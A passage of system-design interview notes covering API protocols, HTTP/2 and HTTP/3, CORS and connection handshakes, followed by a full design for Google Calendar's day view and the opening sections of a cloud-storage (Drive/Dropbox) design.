Solution: Use a Pub/Sub layer (like Redis) to sync messages across multiple server instances.

┌──────────┐     ┌──────────┐     ┌──────────┐
│ Server 1 │────▶│  Redis   │◀────│ Server 2 │
│ (1000    │     │  Pub/Sub │     │ (1000    │
│  clients)│     └──────────┘     │  clients)│
└──────────┘                      └──────────┘

4. SSE (Server-Sent Events)

SSE is a standard that allows servers to push data to web pages over HTTP.

Unidirectional Flow

Unlike WebSockets, SSE is strictly one-way (Server → Client).

// Client
const eventSource = new EventSource('/notifications');

eventSource.onmessage = (event) => {
  console.log('New notification:', event.data);
};

// Server sends updates whenever available
// data: {"type": "new_message", "count": 5}

Native Advantages

Feature	Benefit
Built on HTTP	Works through most firewalls and proxies without special configuration
Auto-reconnection	Browser automatically tries to reconnect on disconnect
Last-Event-ID	Server can "catch up" on missed messages after reconnect

Best Use Case

SSE is the "goldilocks" protocol for:

News feeds
Stock tickers
Social media notifications
Live sports scores

When to use: User doesn't need to talk back to the server in real-time, but needs to see server updates immediately.

5. Quick Comparison Table

Protocol	Statefulness	Browser Caching	Scalability Complexity	Best For
REST	Stateless	Excellent (Native)	Low	CRUD operations, Public APIs
GraphQL	Stateless	Difficult (Requires Library)	Medium	Complex data requirements, Mobile apps
WebSockets	Stateful	None	High (Requires Pub/Sub)	Real-time bidirectional (Chat, Games)
SSE	Stateful	Limited	Medium	Server push notifications

6. Decision Framework for Interviews

Is the data...
│
├─▶ Static or changes infrequently?
│   └─▶ REST (leverage HTTP caching)
│
├─▶ Complex with nested relationships?
│   └─▶ GraphQL (avoid over/under-fetching)
│
├─▶ Real-time AND bidirectional?
│   └─▶ WebSockets (chat, collaboration, games)
│
└─▶ Real-time BUT server-to-client only?
    └─▶ SSE (notifications, feeds, tickers)

7. Deep Dive: HTTP/2 and HTTP/3

Understanding the transport layer is crucial for Senior-level discussions.

HTTP/1.1 Limitations

┌─────────────────────────────────────────────┐
│  Browser (6 connection limit per domain)    │
│                                             │
│  Conn 1: GET /style.css ──────────────────▶ │
│  Conn 2: GET /app.js ─────────────────────▶ │
│  Conn 3: GET /image1.png ─────────────────▶ │
│  Conn 4: GET /image2.png ─────────────────▶ │
│  Conn 5: GET /image3.png ─────────────────▶ │
│  Conn 6: GET /image4.png ─────────────────▶ │
│                                             │
│  image5.png WAITING... (blocked)            │
└─────────────────────────────────────────────┘

Head-of-Line Blocking: If style.css is slow, it blocks its connection.

HTTP/2 Multiplexing

┌─────────────────────────────────────────────┐
│  Single TCP Connection                      │
│                                             │
│  Stream 1: GET /style.css ──┐               │
│  Stream 2: GET /app.js ─────┼───▶ Server    │
│  Stream 3: GET /image1.png ─┤               │
│  Stream 4: GET /image2.png ─┤               │
│  Stream 5: GET /image3.png ─┘               │
│                                             │
│  All requests sent simultaneously!          │
└─────────────────────────────────────────────┘

Key Features:

Binary Framing: Headers and body are split into frames
Header Compression (HPACK): Reduces header overhead by 85%
Server Push: Server can send resources before client asks

HTTP/3 (QUIC)

Built on UDP instead of TCP:

Feature	HTTP/2 (TCP)	HTTP/3 (QUIC)
Connection Setup	TCP + TLS = 2-3 RTT	0-1 RTT (connection ID persists)
Head-of-Line Blocking	Still exists at TCP level	Eliminated (streams are independent)
Connection Migration	Breaks on IP change	Survives (uses connection ID, not IP)

Mobile Game-Changer: When user switches from WiFi to cellular, HTTP/3 connection survives.

8. CORS: The Security Handshake

Cross-Origin Resource Sharing is the browser's security mechanism for cross-domain requests.

The Preflight Dance

┌──────────┐                           ┌──────────┐
│  Browser │                           │  Server  │
│(app.com) │                           │(api.com) │
└────┬─────┘                           └────┬─────┘
     │                                      │
     │  OPTIONS /api/users                  │
     │  Origin: https://app.com             │
     │  Access-Control-Request-Method: POST │
     │  Access-Control-Request-Headers:     │
     │    Content-Type, Authorization       │
     │─────────────────────────────────────▶│
     │                                      │
     │  204 No Content                      │
     │  Access-Control-Allow-Origin: *      │
     │  Access-Control-Allow-Methods: POST  │
     │  Access-Control-Max-Age: 86400       │
     │◀─────────────────────────────────────│
     │                                      │
     │  POST /api/users (actual request)    │
     │─────────────────────────────────────▶│

When Preflight is Triggered

Request Type	Preflight Required?
`GET` with standard headers	No (Simple Request)
`POST` with `Content-Type: application/json`	Yes
Any request with `Authorization` header	Yes
`PUT`, `DELETE`, `PATCH`	Yes

CORS Headers Reference

# Server response headers
Access-Control-Allow-Origin: https://app.com  # Or * for any
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true  # For cookies
Access-Control-Max-Age: 86400  # Cache preflight for 24 hours
Access-Control-Expose-Headers: X-Custom-Header  # Expose to JS

The Credentials Trap

// Frontend
fetch('https://api.com/data', {
  credentials: 'include'  // Send cookies
});

// Backend MUST respond with:
// Access-Control-Allow-Credentials: true
// Access-Control-Allow-Origin: https://app.com  (NOT *)

Rule: When credentials: 'include', you cannot use * for origin.

9. Request Lifecycle: Under the Hood

DNS Resolution

1. Browser checks local cache
2. OS checks /etc/hosts and its cache
3. Query goes to configured DNS resolver (ISP or 8.8.8.8)
4. Resolver checks its cache
5. If miss: Recursive query to root → TLD → Authoritative NS
6. IP address returned and cached (TTL-based)

TCP Connection Establishment (3-Way Handshake)

Client                    Server
   │                         │
   │─────── SYN ────────────▶│  "I want to connect"
   │                         │
   │◀────── SYN-ACK ─────────│  "OK, I acknowledge"
   │                         │
   │─────── ACK ────────────▶│  "Great, connected!"
   │                         │
   │      Connection Open    │

Time Cost: ~1 RTT (Round Trip Time)

TLS Handshake (HTTPS)

Client                           Server
   │                               │
   │─── ClientHello ──────────────▶│  Supported ciphers, random
   │                               │
   │◀── ServerHello + Certificate ─│  Chosen cipher, cert
   │                               │
   │─── Key Exchange + Finished ──▶│  Pre-master secret
   │                               │
   │◀── Finished ──────────────────│
   │                               │
   │     Encrypted Connection      │

Time Cost: ~2 RTT (TLS 1.2) or ~1 RTT (TLS 1.3)

Total for new HTTPS connection: 3-4 RTT before first byte of data!

10. Interview Tip

"The protocol choice depends on the data access pattern. For standard CRUD with good caching needs, REST wins. For complex, nested data on mobile, GraphQL reduces round trips. For real-time bidirectional communication, WebSockets are necessary despite the scaling complexity. For simple server-push scenarios, SSE offers the best simplicity-to-functionality ratio. I also consider the transport layer — HTTP/2 for multiplexing, HTTP/3 for mobile users who switch networks. And for cross-origin security, I ensure proper CORS configuration with preflight caching to minimize overhead."

Google Calendar — Day View

Arghya Majumder — Mon, 30 Mar 2026 20:22:57 +0000

Google Calendar — Day View

Frontend / Backend Split: 40% Backend · 60% Frontend
Google Calendar Day View is frontend-heavy — but the backend is non-trivial. The frontend solves: virtual scrolling a 24-hour grid, drag-and-drop with snapping, overlapping event layout (interval partitioning), and RRULE expansion. The backend solves: ACID event storage, conflict resolution for concurrent edits, and fan-out notifications to shared calendar members. Both sections get full coverage.

1. Problem + Scope

Design the Google Calendar Day View — a time-grid UI that displays all events for a single day, supports creating/editing/deleting events via drag, resize, and click, handles recurring events, and broadcasts real-time updates to shared-calendar collaborators.

In scope: Day view grid, event CRUD, drag & resize, recurring events (RRULE), overlapping event layout, real-time collaboration on shared calendars, all-day events, timezone rendering.

Out of scope: Meeting Room booking, Google Meet integration, calendar migration/import, Google Tasks integration.

2. Assumptions & Scale

Metric	Value
Daily Active Users	500M
Avg events visible in day view	10–20 per user
Peak concurrent users	50M
Event reads (day view load)	3–5 API calls
Peak event writes	10M updates/min → ~167K writes/sec
Event storage per user/year	~10K events × 1KB = 10MB
Total storage	500M × 10MB = 5PB
WebSocket connections (shared calendars)	~5M concurrent

Scale calculation for write path:

167K writes/sec is easily handled by a PostgreSQL cluster with read replicas. No NoSQL needed — events are relational (attendees, calendars, permissions). The fan-out to collaborators (shared calendar update → notify N users) is the harder problem at scale.

These numbers drive the following decisions: PostgreSQL for ACID event storage, Redis for WebSocket session routing, Kafka for fan-out notifications to shared calendar members.

3. Functional Requirements

Display a 24-hour time grid for a selected date, showing all events for the user
Create events via click-and-drag on the grid
Edit events: drag to move (reschedule), drag edge to resize (change duration)
Delete events
Handle overlapping events — render them side-by-side without overlap
Support recurring events defined by RRULE (daily, weekly, monthly, custom)
Show all-day events in a dedicated strip at the top
Render events from multiple calendars with color coding
Real-time sync: if a collaborator edits a shared event, the other user's view updates within 1 second
Timezone-aware: store in UTC, render in the user's local timezone

4. Non-Functional Requirements

Requirement	Target
Initial load latency	< 500ms (events visible)
Drag & resize frame rate	60 fps (no jank)
Real-time update latency	< 1 second for shared calendars
Availability	99.9%
Consistency	Eventual for real-time; strong for event creation/deletion
Offline	Read-only view from local cache; writes queued

Consistency model:

Domain	Model	Justification
Event CRUD	Strong (PostgreSQL)	Prevents double-booking, attendee confusion
Real-time collaboration	Eventual (WebSocket + Kafka)	1-second delay acceptable; last-write-wins
RRULE expansion	Computed on read	Recurrences are derived — no consistency issue

🧠 Mental Model

Google Calendar Day View has three core flows:

Load flow — user navigates to a date → client fetches events for that day → frontend computes the layout (overlaps, positions, widths) → renders the grid
Edit flow — user drags/resizes/clicks → optimistic UI update locally → API call → server persists → WebSocket broadcasts change to collaborators
Real-time flow — collaborator edits a shared event → Event Service writes to DB → Kafka message → Notification Service → WebSocket push → all connected clients for that calendar receive the update

User navigates to Day View
         │
         ▼
   Fetch /events?date=X
         │
    ┌────┴────────────────────────────┐
    │  LAYOUT ENGINE (client-side)    │
    │  1. Sort events by start time   │
    │  2. Detect overlapping groups   │
    │  3. Assign columns + widths     │
    └────┬────────────────────────────┘
         │
         ▼
   Render 24h grid with positioned events
         │
    User drags event
         │
    ┌────┴──────────────────────────────┐
    │  DRAG ENGINE                      │
    │  1. Snap to 15-min increments     │
    │  2. Optimistic update (local)     │
    │  3. PATCH /events/:id on drop     │
    │  4. WS broadcast to collaborators │
    └───────────────────────────────────┘

⚡ Core Design Principles

Path	Optimized For	Mechanism
Fast Path	Perceived latency	Optimistic UI — event moves instantly on drag; API fires async
Reliable Path	Correctness	If PATCH fails, revert optimistic update + show error toast

5. API Design

Calendar APIs

Method	Path	Description
GET	`/api/v1/events?calendarId=&start=&end=`	Fetch events for a date range. Returns expanded recurrences.
POST	`/api/v1/events`	Create event. Returns event with server-assigned ID (idempotency key in body).
PATCH	`/api/v1/events/:id`	Partial update — move/resize uses this. Supports `start`, `end`, `recurrenceAction`.
DELETE	`/api/v1/events/:id?recurrenceAction=`	Delete single instance or all/future recurrences.
GET	`/api/v1/calendars`	List user's calendars (own + shared). Used to set color coding.

WebSocket

Event	Direction	Payload
`calendar.event.updated`	Server → Client	`{ eventId, calendarId, changes, updatedBy }`
`calendar.event.deleted`	Server → Client	`{ eventId, calendarId, recurrenceAction }`

[!TIP]
Interview tip: The recurrenceAction parameter on PATCH/DELETE is a key design question. Options: THIS (only this instance), THIS_AND_FOLLOWING, ALL. Say: "I expose this as a query parameter because the semantic differs from a normal update — it's modifying the RRULE or creating an exception, not just patching data."

6. End-to-End Flow

6.1 Day View Load

User navigates to Day View for date 2025-03-28.
Client sends GET /api/v1/events?calendarId=primary&start=2025-03-28T00:00Z&end=2025-03-28T23:59Z.
Event Service queries PostgreSQL: fetch base events + any RRULE exceptions that fall on this date. For each recurring event, expand the RRULE server-side and return the occurrence for this day as a concrete event object.
Response arrives (≤ 500ms). Client receives array of event objects, each with id, start, end, title, calendarId.
Layout Engine runs: sorts events by start time → groups overlapping events → assigns each event a column index and a width fraction. A group of 3 overlapping events each gets width = 1/3 of the slot.
Virtual scroll renders only the visible portion of the 24h grid. Events are positioned absolutely using top = (startMinutes / 1440) * gridHeight and height = (durationMinutes / 1440) * gridHeight.
WebSocket connection opens to wss://calendar.google.com/ws?calendarId=primary. Client subscribes to shared calendars.

6.2 Drag & Drop (Move Event)

User starts dragging an event. Client immediately applies optimistic update: the event visually follows the cursor. The original time is saved in memory for rollback.
As the event moves, client snaps the top position to the nearest 15-minute increment (every gridHeight / 96 pixels).
On drag end, client computes the new start/end from the final Y position.
Client sends PATCH /api/v1/events/:id with { start: newStart, end: newEnd }.
Event Service writes to PostgreSQL. If the event is a recurring instance and recurrenceAction=THIS, it creates an exception record (stores the modified occurrence, marks the RRULE to skip this date).
Event Service publishes calendar.event.updated to Kafka topic calendar-events.
Notification Service consumes from Kafka, looks up all WebSocket connections subscribed to this calendarId, and pushes the update.
All collaborators' clients receive the WS event and re-render the event at the new time.
If PATCH fails (network error, conflict): client reverts optimistic update, shows error toast, event snaps back to original position.

6.3 🔄 Complete Lifecycle: Load → Layout → Render → Interact → Sync → Re-render

This is the full end-to-end picture — every phase a request passes through from the moment a user opens the day view to the moment a collaborator sees the update.

Load — User navigates to a date. Client fires GET /events?start=&end=. Event Service queries PostgreSQL, expands RRULE occurrences for this day, returns JSON array.
Layout — Client runs the interval partitioning algorithm: sort → group overlapping events → assign columns → compute width fractions. Pure CPU, no network.
Render — Virtual scroll activates. Only the visible hour range is rendered as DOM nodes. Events are positioned absolutely: top = (startMin/1440) * gridH, height = (durationMin/1440) * gridH.
Interact — User drags an event. DOM mutation (no React re-render) moves the event at 60fps. On drop: snap to nearest 15-min grid, compute new time, fire PATCH /events/:id optimistically.
Sync — Event Service writes to PostgreSQL, publishes calendar.event.updated to Kafka. Notification Service consumes, looks up WebSocket connections for all calendarId subscribers in Redis, pushes the update.
Re-render — Every collaborator's client receives the WS push. Client patches its local event array with the change, re-runs layout for the affected time slot, and re-renders the moved event at the new position.

[!IMPORTANT]
The cycle is: Load once → Layout locally → Render virtually → Interact optimistically → Sync async → Re-render incrementally. No full page reload at any step. Each phase is independent and can fail gracefully without breaking the others.

7. High-Level Architecture

Simple Design

Evolved Design (with Real-Time + Scale)

[!NOTE]
Key Insight: The WebSocket server is stateless fanout — it doesn't store event data. Kafka decouples write path from notification path. Event Service never directly calls WebSocket servers.

8. Data Model

Entity	Storage	Key Columns	Why this store
Event	PostgreSQL	`event_id`, `calendar_id`, `owner_id`, `title`, `start_utc`, `end_utc`, `rrule`, `is_all_day`	ACID — prevents double-booking; relational joins for attendees
Recurrence Exception	PostgreSQL	`event_id`, `original_date`, `new_start_utc`, `new_end_utc`, `is_deleted`	Models RRULE overrides without duplicating base event
Calendar	PostgreSQL	`calendar_id`, `owner_id`, `name`, `color`, `timezone`	Relational — permissions, sharing, color metadata
Calendar Members	PostgreSQL	`calendar_id`, `user_id`, `role` (owner/editor/viewer)	Many-to-many sharing; permission checks at write time
WS Session Map	Redis	`calendarId → [connectionId, ...]`	Ephemeral; TTL = connection lifetime. DB lookup = too slow for fanout
Calendar Metadata Cache	Redis	`userId:calendars → JSON`	TTL = 5min. Avoids DB hit on every day view load

[!NOTE]
Key Insight: Recurring events are stored as a rule + exceptions model (not pre-expanded rows). Expansion happens at read time. Pre-expanding 10 years of weekly events = 520 rows per event × 500M users = storage explosion.

9. Deep Dives

9.1 🧠 Layout Algorithm — Interval Partitioning Problem

Here's the problem we're solving: Multiple events on the same day can have overlapping time ranges. Rendering them stacked (one behind the other) makes them unreadable. We need an algorithm that places overlapping events side-by-side with correct widths so all are visible simultaneously.

This is a classic interval partitioning problem — the same problem as scheduling jobs on the minimum number of machines such that no two overlapping jobs share a machine. The minimum number of machines needed = the maximum number of events overlapping at any single point in time.

Naive solution: Render each event at full width. Overlapping events cover each other — user can't see or click the hidden events.

🧠 Layout Algorithm (Core) — 4 Steps:

Step 1 — Sort events by start time
Sort all events for the day by start_utc ascending. This ensures we process events in chronological order and can greedily assign columns.

Step 2 — Group overlapping events
Scan the sorted list. Maintain a running groupEndTime = max end time seen so far. If the next event's start < groupEndTime, it belongs to the current overlapping group. When start >= groupEndTime, the current group is complete — finalize widths and start a new group.

Step 3 — Assign columns
Within each overlapping group: maintain an array of columns, each tracking the latest end_time of the event placed there. For each event, find the first column where column.endTime <= event.startTime. Place the event there and update the column's end time. If no column fits, add a new column.

Step 4 — Calculate width dynamically
After all events in a group are assigned: width = 1 / totalColumns. left offset = columnIndex / totalColumns. A group of 3 overlapping events each renders at 33% width, placed at 0%, 33%, 66% left.

Complexity: O(n log n) sort + O(n·c) placement where c = max concurrent overlaps. For typical calendars (c ≤ 5), effectively O(n).

Trade-off accepted: The greedy column assignment doesn't always minimize column count for adversarial inputs (that's NP-hard for general interval graphs). For calendar data — where c is small and events are human-scheduled — greedy produces the same result as optimal.

[!NOTE]
Key Insight: Event layout is the interval partitioning problem. Minimum columns needed = maximum depth of overlapping events at any point. This is computed entirely client-side in O(n log n) — the backend only returns raw start/end times.

9.2 Drag & Drop with 15-Minute Snapping

Here's the problem we're solving: Drag-and-drop on a continuous pixel grid gives sub-second precision, but calendar events are scheduled in meaningful increments (15 min, 30 min). Allowing arbitrary placement (e.g., 10:03 AM) creates chaos. We need to snap movement to 15-minute increments in real time, at 60fps.

Naive solution: On each mouse/touch move, compute the time from Y position, round to nearest 15 minutes, re-render the event. Problem: React re-renders on every mousemove event = 60–120 events/sec = performance bottleneck.

Chosen solution — CSS transform + commit-on-drop:

During drag: do not update React state on every mousemove. Instead, directly mutate the DOM element's transform: translateY(px). This bypasses React entirely and runs at 60fps with zero re-renders.
Snap logic runs in the event handler (not in React): snappedY = Math.round(rawY / snapInterval) * snapInterval where snapInterval = gridHeight / 96 (96 = 4 per hour × 24 hours).
On drop: compute the new time from snappedY, then trigger a single React state update + API call.
Optimistic update: React state updates immediately with the new time. API call fires async. If it fails, revert.

Trade-off accepted: Directly mutating the DOM breaks React's virtual DOM contract — this event's position is "out of sync" during drag. This is acceptable because: (a) it's a known, contained exception; (b) the React state is corrected on drop; (c) the visual result is smooth 60fps — no alternative achieves this with React re-renders.

[!NOTE]
Key Insight: Drag-and-drop at 60fps = decouple visual feedback (DOM mutation) from data update (React state). Commit once on drop, not on every pixel.

9.3 Recurring Events — RRULE Expansion

Here's the problem we're solving: A "weekly team standup every Monday" is one event logically, but needs to appear on every Monday in the day view. How do we store this efficiently and handle edits (change only this occurrence vs. all future ones)?

Naive solution — Pre-expand and store: Create one DB row per occurrence. A weekly event for 2 years = 104 rows. Fine for one user. At 500M users with average 20 recurring events each = 500M × 20 × 52 = 520 billion rows. Not viable.

Chosen solution — Store rule, expand on read:

Store one row with the RRULE string (RFC 5545 format): e.g., RRULE:FREQ=WEEKLY;BYDAY=MO
On GET /events?start=&end=, the Event Service calls an RRULE library to expand only the occurrences within the requested window. For a day view, this expands at most 1–2 occurrences.
Exceptions (user edits "only this event"): store a row in recurrence_exceptions with original_date + modified fields. The expand logic checks exceptions and overrides the generated occurrence.
"This and following": update the base event's UNTIL to originalDate - 1 day, create a new base event starting from originalDate with the new RRULE. Two rows represent the split.

Trade-off accepted: Expansion logic lives in the service layer (not the DB). This means every day-view load runs the RRULE library. At 50M concurrent users loading day views, this is ~50M RRULE expansions/sec. Each expansion is O(1) for a single-day window — microseconds. Acceptable.

[!NOTE]
Key Insight: RRULE is a read-time computation problem, not a storage problem. Store the rule + exceptions. Expand at query time. Pre-expanding = write amplification with no benefit.

9.4 Timezone Rendering

Here's the problem we're solving: A user in New York creates an event at 9 AM EST. Their colleague in London views the same shared event. London should see it at 2 PM GMT. The stored time must be unambiguous regardless of who reads it or where.

Solution:

All times stored in UTC in the DB (start_utc, end_utc — TIMESTAMPTZ columns).
Each calendar has a timezone field (IANA timezone string, e.g., America/New_York). Each user also has a profile timezone.
On read: start_utc is returned to the client. The client renders using Intl.DateTimeFormat with the user's local timezone.
The day view renders the grid in the user's timezone, not the event's origin timezone.
For recurring events with DST transitions: the RRULE library handles DST-aware expansion (a "9 AM" weekly event stays at 9 AM local time across DST boundaries, not at a fixed UTC offset).

[!NOTE]
Key Insight: Store UTC, render local. The DB never knows about timezones. The client knows everything about display. DST is a display-layer problem.

9.5 Backend: Consistency, Conflict Resolution & Notification Fan-Out

Here's the problem we're solving: The backend has three non-trivial responsibilities that are easy to underestimate: (1) preventing double-booking when two users edit the same event concurrently, (2) ensuring event writes are ACID so attendee lists never get corrupted, and (3) fanning out notifications efficiently when a shared calendar event is modified.

Consistency — Why PostgreSQL, not a NoSQL store:

Calendar events have relational integrity requirements: an event belongs to a calendar, a calendar has members with roles, an event has attendees. A write that adds an attendee must also check the user's permission level. These multi-table constraints require ACID transactions — not eventual consistency.

At 167K writes/sec, a sharded PostgreSQL cluster (sharded by user_id) handles this easily. Each shard owns a user's events. Cross-user queries don't exist — a user only reads their own calendars and explicitly shared ones.

Conflict Resolution — Concurrent edits to a shared event:

Problem: User A and User B both open the same shared meeting. A changes the title; B changes the time — simultaneously. Both fire PATCH /events/:id. The second write wins silently. Neither user knows their collaborator was editing at the same time.

Chosen solution — optimistic locking with version field:

Every event row has a version integer.
PATCH /events/:id must include the version the client last saw.
Event Service: UPDATE events SET ..., version = version+1 WHERE event_id = :id AND version = :clientVersion.
If rows updated = 0 → version mismatch → return 409 Conflict.
Client receives 409 → fetches latest event state → shows diff to user → user resolves.

For calendar events (unlike Google Docs), last-write-wins is often acceptable — two people rarely edit the same 30-minute meeting simultaneously. Optimistic locking adds safety without the complexity of OT/CRDT.

Notification Fan-Out — Shared calendars with many members:

Problem: A company-wide "All Hands" calendar has 5,000 members. One edit → must push WebSocket notification to up to 5,000 active connections. Doing this synchronously in the Event Service blocks the write path.

Chosen solution — Kafka + Notification Service:

Event Service writes to PostgreSQL, then publishes { eventId, calendarId, changes } to Kafka topic calendar-events. Write path done — returns 200 to client immediately.
Notification Service (separate process) consumes from Kafka. Looks up calendarId → [userId, ...] from Calendar Members table (cached in Redis, TTL = 10min).
For each member: check if they have an active WebSocket connection via ws-sessions:{userId} in Redis. If yes, route to the correct WS server node via Redis pub/sub and push the event.
Offline members: skip WS push. On their next day-view load, they'll fetch fresh data from PostgreSQL.

This decouples the write path from notification delivery. A 5,000-member calendar generates 5,000 WS pushes — but that's Notification Service's problem, not Event Service's.

[!NOTE]
Key Insight: The backend's job is consistency + fan-out, not layout or rendering. PostgreSQL gives ACID. Optimistic locking resolves concurrent edits. Kafka decouples the write path from the notification path — Event Service never waits for 5,000 WS pushes.

10. Bottlenecks & Scaling

What breaks first at 10× scale:

Event Service write path — 1.67M writes/sec. Single PostgreSQL primary caps at ~50–100K writes/sec.
- Shard by user_id (or calendar_id). Events are never queried cross-user — sharding is clean.
- Each shard = independent PostgreSQL primary + 2 read replicas.
RRULE fan-out for shared calendars — When a user edits a recurring event with 500 attendees, Notification Service must push to 500 WebSocket connections.
- Kafka topic partitioned by calendar_id. Each Notification Service instance handles a partition. Scales horizontally.
- WebSocket server cluster: Redis pub/sub routes messages to the correct WS server node holding each connection.
Day view cache — 50M concurrent users each load ~20 events. At 3–5 API calls per load, that's 150–250M reads/sec.
- Cache recent day views in Redis: key = events:{userId}:{date}, TTL = 5 minutes.
- Cache invalidation: when an event is written, invalidate all affected users' date keys. Acceptable since events are rarely shared with >10 users.

CDN strategy: All static assets (JS, CSS, fonts) served from CDN edge. First load: 200ms. Subsequent loads: service worker cache → near-instant.

11. Failure Scenarios

Failure	Impact	Recovery
PostgreSQL primary fails	Event writes fail; reads continue from replica	Automatic failover (Patroni / RDS Multi-AZ). Reads never interrupted.
WebSocket server node fails	~N/totalNodes users lose real-time updates	Client reconnects with exponential backoff. WS session map in Redis allows reconnection to any node.
Kafka consumer lag	Real-time updates delayed (seconds to minutes)	Backpressure alert. Consumer auto-scales. Events are durable in Kafka — no loss, just delay.
PATCH fails on drag drop	Event appears moved in client but not saved	Optimistic update reverts. User sees error toast: "Failed to save — changes reverted."
Clock skew between clients	Concurrent edits to same event overlap	Last-write-wins with server timestamp. For shared events, this is acceptable — calendar conflicts are rare.
CDN outage	Initial load fails or is slow	API Gateway serves static assets as fallback (slower but functional).

12. Trade-offs

Optimistic UI vs. Confirmed Update

Dimension	Optimistic UI	Wait for confirmation
Perceived latency	Instant (0ms)	Full round-trip (100–300ms)
Risk	Revert on failure (jarring UX)	No visual inconsistency
Complexity	Rollback logic required	Simple
User experience	Smooth, modern feel	Laggy on slow networks

Chosen: Optimistic UI — calendar events rarely fail to save. The latency improvement (0ms vs 200ms) is significant at scale and across mobile connections.

[!NOTE]
Key Insight: Optimistic UI is only viable when the failure rate is low and rollback is well-defined. Event drag-and-drop fails <0.1% of the time — making it the ideal candidate.

WebSocket vs. Polling for Real-Time Sync

Dimension	WebSocket	Long Polling
Real-time latency	< 100ms	1–30s
Server connections	Persistent (expensive)	Stateless (cheaper per req)
Scale complexity	Need WS cluster + Redis routing	Any stateless server
Bandwidth	Low (push only changed data)	Higher (repeated full requests)

Chosen: WebSocket — for collaborative calendars, 1-second real-time latency is the UX requirement. Polling at 1-second intervals for 500M users = 500M requests/sec of empty polls. That's the wrong math.

[!NOTE]
Key Insight: WebSocket vs polling is a math problem. 500M users × 1 poll/sec = 500M empty requests/sec. WebSocket = push only when something changes.

Recurring Event Storage: Pre-Expand vs. Rule + Expand

Dimension	Pre-expand rows	RRULE rule + expand on read
Read complexity	Simple SQL range query	RRULE library call
Write complexity	Simple	Simple
Storage	O(n × recurrences) = billions of rows	O(n) — one row per recurring series
Handling exceptions	Update single row	Exception table lookup
Handling "edit all future"	Update many rows	Update UNTIL + new rule row

Chosen: RRULE rule + expand on read — storage efficiency is overwhelming at 500M users. RRULE expansion for a single day is O(1) — trivial cost.

[!NOTE]
Key Insight: Expand at read time for a 24-hour window = at most 2–3 occurrences. Pre-expand for 2 years = 52–730 rows per event. The read cost is the same; the write/storage cost is radically different.

Interview Summary

Key Decisions

Decision	Problem it solves	Trade-off accepted
Optimistic UI for drag & drop	Instant visual feedback; 60fps drag	Must implement rollback on API failure
DOM mutation during drag (not React state)	60fps without re-render bottleneck	DOM temporarily out of sync with React virtual DOM
RRULE rule + expand on read	O(n) storage instead of O(n × recurrences)	RRULE expansion logic in service layer on every read
WebSocket over polling	< 1s real-time updates	Stateful server cluster; Redis routing needed
UTC storage + client-side timezone render	Single source of truth; no timezone bugs	Client must handle DST-aware display logic
PostgreSQL with sharding	ACID for event CRUD; prevents double-booking	Shard key must be chosen carefully (user_id)

Fast Path vs. Reliable Path

FAST PATH (optimized for perceived latency)
  User drags event
      │
      ▼
  DOM translate (60fps, no React re-render)
      │
  User drops
      │
      ▼
  React state update → event renders at new time immediately
      │
  PATCH /events/:id fires async (non-blocking)


RELIABLE PATH (optimized for correctness)
  If PATCH succeeds → collaborators receive WS push → re-render
  If PATCH fails   → revert React state → event snaps back → error toast

Key Insights Checklist

"Drag at 60fps requires bypassing React. I mutate the DOM directly during drag, commit once on drop. DOM and React are briefly out of sync — that's acceptable because the window is bounded and intentional."
"Recurring events are a storage problem in disguise. Store the RRULE rule, not the expanded instances. One row per series. Expansion is O(1) per day-view load."
"WebSocket vs polling is a math problem. 500M users × 1 poll/sec = 500M empty requests/sec. Pushed updates from WebSocket cost nothing when nothing changes."
"Optimistic UI only works when failure rate is low and rollback is well-defined. Calendar drag-and-drop fails < 0.1% of the time — making it the ideal use case."
"All times stored in UTC. The DB has no concept of timezone. DST is a client-side rendering concern, not a persistence concern."
"Overlapping event layout is a greedy column-packing algorithm — runs client-side in O(n log n). The API returns raw times; the client computes visual positions. This lets mobile and web implement different strategies independently."

Cloud Storage (Google Drive / Dropbox)

Arghya Majumder — Sat, 28 Mar 2026 00:31:23 +0000

System Design: Cloud Storage (Google Drive / Dropbox)

1. Problem + Scope

Design a cloud storage platform (Google Drive / Dropbox) supporting file upload, download, sync across devices, folder management, and sharing with permissions — at 50 million DAU storing 10 billion files.

In Scope: File and folder upload/download, auto-sync across devices, directory structure (create/delete/rename/move), file sharing with read/write permissions, storage quota per user, chunk-level deduplication.

Out of Scope: Real-time collaborative editing (separate system — see google-docs.md), video transcoding, full-text search within documents, virus scanning internals, mobile offline-first CRDT sync.

2. Assumptions & Scale

Active users:           50 million DAU
Files per user:         ~200 average
Total files:            10 billion
Daily uploads:          50 million files/day
Average file size:      500 KB
Large files (>10 MB):   5% of uploads = 2.5 million/day

Storage:
  New data/day:   50M files x 500KB = 25 TB/day
  After dedup:    ~60% unique (Dropbox reports ~70% dedup ratio)
                  -> ~15 TB/day net new storage
  5-year total:   15 TB x 365 x 5 = ~27 PB

Upload throughput:
  50M uploads/day / 86,400s = ~580 uploads/sec average
  Peak (10x):              ~5,800 uploads/sec

Metadata reads (folder browsing):
  50M DAU x 20 opens/day = 1B reads/day = ~11,500 reads/sec

Chunk operations:
  Large file (1 GB) = 1 GB / 5 MB chunk = 200 chunks
  5,800 uploads/sec x ~5 chunks avg = ~29,000 chunk uploads/sec
  -> S3 must handle ~29K PUT requests/sec

Sync notifications:
  50M uploads/day -> fan-out to avg 3 devices = 150M notifications/day
  -> ~1,700 WebSocket pushes/sec (manageable with pub/sub)

These numbers drive the following decisions: pre-signed URLs (cannot proxy 25 TB/day), chunk-level dedup (must reduce 27 PB over 5 years), PostgreSQL sharding (580 writes/sec, well within range but metadata is relational), and WebSocket + message queue for sync (1,700 pushes/sec is lightweight but must survive upload service restarts).

3. Functional Requirements

User creates an account and gets a storage quota (e.g., 15 GB free)
Upload files and folders of any size, including multi-GB videos
Download files from any device and location
Auto-sync: all connected devices update within 2 seconds when any device changes a file
Share files and folders with other users; assign read or write permission
Directory operations: create, rename, delete, and move folders and files
Resume interrupted uploads — a failed chunk does not restart the whole file
Storage deduplication — identical content stored only once regardless of who uploaded it

4. Non-Functional Requirements

Requirement	Target
Availability	99.99% — prefer AP over CP for upload and sync
Durability	99.999999999% (11 nines) — replicated across AZs in S3
Upload latency	Bounded by client bandwidth — backend adds less than 100ms overhead
Sync latency	Less than 2 seconds after upload completes
Metadata read latency	Less than 50ms p99 for folder listing
Consistency — metadata	Strong (ACID) for quota enforcement and permission checks
Consistency — sync	Eventual — 1–2 second lag between devices is acceptable
Large file support	Files up to 15 GB via chunked multipart upload
Storage efficiency	Chunk-level dedup targeting 60–70% reduction

